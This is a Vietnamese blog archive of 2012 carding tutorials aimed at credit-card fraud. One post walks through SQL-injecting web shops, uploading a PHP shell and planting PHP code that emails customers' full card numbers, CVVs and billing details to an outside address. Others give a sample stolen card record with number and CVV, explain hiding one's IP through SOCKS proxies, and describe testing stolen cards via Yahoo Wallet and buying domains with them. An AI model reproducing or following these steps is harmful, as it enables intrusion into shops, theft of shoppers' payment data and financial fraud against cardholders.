Hiển thị các bài đăng có nhãn UG. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn UG. Hiển thị tất cả bài đăng
26 thg 7, 2012
TUT Reg Domain = CCN
Nguyên Liệu : CCN Đủ BLSock Trùng Stale
Nạn Nhân
http://namebargain.com/domain-regist.../default.aspx? Xem chi tiết »
23 thg 7, 2012
TUT Hack CC
allinurl: /sub.php?Page=1chuyển về dạng
http://abc.com/detail.php?pid=....hack bằng tool hoangduye cũng được mà havij cũng được,hack bằng cái gì cũng được
get admin ( trong table user nhớ gét colums role để tìm admin ,pass mã hóa sha1( admin thường thì role là 1)
link admin
http://abc.com/admin_login.phpvào admin phần category up shell lên để đuôi php hoặc .jpg.php tùy thích
http://abc.com/cp
tiếp theo vào shell sửa file orderconfirm.php ( tùy file tùy shop cách tìm file này là vào shop order đến phần nhập cc sau đó hiện comfim sẽ ra name file http://abc.com/file can edit .php
vào shell tìm file đó
sau đó tìm đoạn này
<? echothường thì code gốc là hiện 4 số cuối của cc
"" . substr($card_no,-4) . "<br>" .
$ex_month . "/" . $ex_year . "<br>" .
$cid;
?>
sửa số màu đỏ thành số 0
sau đó gán thêm hàm này vào phía dưới
<?notice : do file order chính mã hóa nên hack cc bằng cách sử file nối đến file order chính,cc k đảm bảo live 100%,chuẩn bill 100%
$to = 'tmtno1@vnhack.us';
$subject = 'CC - Order ID:'+$order_id; $message = $order_id."|".$card_type."|".$card_no."|".$ex_mont h."|".$ex_year."|".$cid."|".$bill_name."|".$bill_a ddress."|".$bill_city."|".$bill_state."|".$bill_zi p."|".$bill_dphone."|".$bill_country; $headers = 'From: webmaster' . "\r\n" . 'Reply-To: webmaster' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
?>
có shop thì có thể xem đc cc mã hóa qua admin,có shop thì k lưu lại cc nên phương pháp hack = shell này nhanh gọn lẹ nhất
Xem chi tiết »
25 thg 6, 2012
Reg Domain CCN
đã chơi chơi hẳn site chính cho máu, ko chơi resellersocks: tuỳ
mail: mình dùng gmail
Victim: http://www.planetdomain.com/
demo: http://whois.domaintools.com/vungockhanh.com
 | This image has been resized.Click to view original image |
Xem chi tiết »
19 thg 6, 2012
UG cơ bản nhất : Cách đọc CC , phân biệt CCV - CCN, Sử Dụng Sock
(leech của thần tượng BeCon4Ever bên GTB)I) CC (Credit Card) có 2 loại mà dân UG thường gọi : 1 là CCNon, 2 là CVV.
-) CCNon : là loại CC có đủ thông tin nhưng ko có CVV2 là số security bảo vệ thẻ.
-) CVV : là loại CC có đầy đủ thông tin bao gồm cả số CVV2.
-) Thẻ thường có 4 loại thẻ:
Trích:
-) Visa (Visa) : Thẻ Vista được bắt đầu bằng số 4
-) Master (Master) : Thẻ Master được bắt đầu bằng số 5
-) American Express (AMEX) : Thẻ AMEX được bắt đầu bằng số 3
-) Discovery (Dis) : Thẻ Dis được bắt đầu bằng số 6
VD: các loại CC có tất cả 16 số các loại. Dưới đây là VD 1 con Visa
1) CC Non: 10256 | Joe | Stifel | 17844 westhampton woods dr | wildwood | mo | 63005 | (636)236-6712 | 4037694036000635 | 0408 |
2) CVV: 10256 | Joe | Stifel | 17844 westhampton woods dr | wildwood | mo | 63005 | (636)236-6712 | 4037694036000635 | 0408 | 569
Thường ta có 1 CC với thông tin như trên & cách đọc nó như sau:
10256 : Cái này bỏ qua. Nó là số order được lưu trong Shop. Khi hacker đánh vào shop để lấy trộm thông tin khách hàng của shop đó get cả số đó về.
Joe : First Name
Stifel : Last Name
17844 westhampton woods dr : Address (địa chỉ chủ thẻ)
wildwood : City (Thành phố)
mo : State (Bang)
63005 : Post code (Mã bưu điện. Kiểu như 036 là mã Thái Bình)
(636)236-6712 : Fone (Số điện thoại)
4037694036000635 : Card Number (Số thẻ)
0408 Expiration (ngày hết hạn của thẻ - tháng + năm)
569 : CVV2 (Số security bảo vệ thẻ) - Số bảo vệ này với Visa, Master, Amex có 3 số - với Discorevy có 4 số. (CCNon & CVV chỉ khác nhau ở chỗ có hay ko số này đây)
Thường là như thế... đôi khi ta sẽ gặp những thẻ được paste ra loạn cào cào... nên cần phải linh hoạt trong cách đọc thẻ. Có 1 số thẻ có cho Post Code nhưng ko cho State => ta chỉ cần vào www.google.com gõ số post code vào => nhấn Enter là sẽ ra kết quả State liền.
-) Ký hiệu các bang (State) của Mỹ:
AL Alabama
AK Alaska
AZ Arizona
AR Arkansas
CA California
CO Colorado
CT Connecticut
DE Delaware
DC District of Columbia
FL Florida
GA Georgia
HI Hawaii
ID Idaho
IL Illinois
IN Indiana
IA Iowa
KS Kansas
KY Kentucky
LA Louisiana
ME Maine
MD Maryland
MA Massachusetts
MI Michigan
MN Minnesota
MS Mississippi
MO Missouri
MT Montana
NE Nebraska
NV Nevada
NH New Hampshire
NJ New Jersey
NM New Mexico
NY New York
NC North Carolina
ND North Dakota
OH Ohio
OK Oklahoma
OR Oregon
PA Pennsylvania
RI Rhode Island
SC South Carolina
SD South Dakota
TN Tennessee
TX Texas
UT Utah
VT Vermont
VA Virginia
WA Washington
WV West Virginia
WI Wisconsin
WY Wyoming
II) Cách FakeIP Socks với Internet Explorer:
-) Tại sao phải FakeIP & FakeIP mang lại cái gì:
+) Các website bán hàng trực tuyến thường check IP người sử dụng khi vào site của họ. Mà Việt Nam nằm trong Backlist rất cao. Đa số các site đều đã cấm ko giao dịch với IP Việt Nam. Vì thế ta cần FakeIP (giả mạo địa chỉ IP) để site này nhầm tưởng ta đang ở 1 nơi nào khác.
+) FakeIP còn nhằm xóa dấu vết khi ta truy cập vào 1 website nào đó, tránh nó lưu lại logs. FakeIP có nghĩa ta sử dụng 1 máy chủ trung gian & duyệt website thông qua nó - chứ ko phải sử dụng máy chủ của nhà cung cấp dịch vụ Internet.
Các trang webs cung cấp Socks rất nhiều. VD ta có thể sử dụng site này:
-) http://vsocks.net/forum/forumdisplay.php?f=4 (Cần đk 1 cái nick để vào xem)
VD ta có 1 con sock như này: 68.36.102.39:38883 thì trong đó: 68.36.102.39 là Address & 38883 là Port. (Các IP của Mỹ ta nên dùng có em số đầu hay sử dụng từ 66 => 78)
-) Mở Internet Explorer lên => vào Tools => chọn Internet Connections => chọn Lan Settings => Tích chọn vào: Use a proxy server for your LAN... => click vào: Advanced (hình dưới)
Để ý ô Socks: Ô đầu tiên gõ số IP vào - ô sau điền Port
-) Vào thử 1 website nào đó - VD: http://google.com chẳng hạn. Nếu vào được thì con Sock đó còn ngon có thể sử dụng - Nếu ko vào được có nghĩa con Sock đó đã die => check con khác.
-) Vào http://ip2location.com để biết khi FakeIP xong ta đang ở đâu !!!
III) Cách check xem CC còn Live hay ko:
1) Ta có thể vào thẳng các site bán Acc XXX, Hosting hoặc Software để mua thử. Nếu ok thì nó Live, ko đc thì nó Die ^^. Nhưng thử như thế.... có 1 số site sẽ block ko cho thử quá 2,3 lần. Hoặc mua đc thì logs ghi lại ta thử quá nhiều lần => có thể acc đó sẽ bị delete rất nhanh.
2) Cách xưa như Diễm nhưng vẫn rất hiệu quả. Check CC bằng YahooWallet của Yahoo.
-) Vào: http://wallet.yahoo.com - đăng nhập bằng user + pass nick Yahoo của bạn.
-) Click vào: add a new payment method. để vào trang điền thông tin CC
-) Sau đó điền thông tin CC vào như cách đọc ở trên => Xong nhấn Continue.
-) Nếu nhìn thấy như hình dưới có nghĩa con CC đó die rồi.
-) Check em khác nhé.
-) Nếu thấy hình này thì OK rồi => Có thể mang Em đó đi phang được rồi đấy ^^
- Nguồn: GUG - Xem chi tiết »
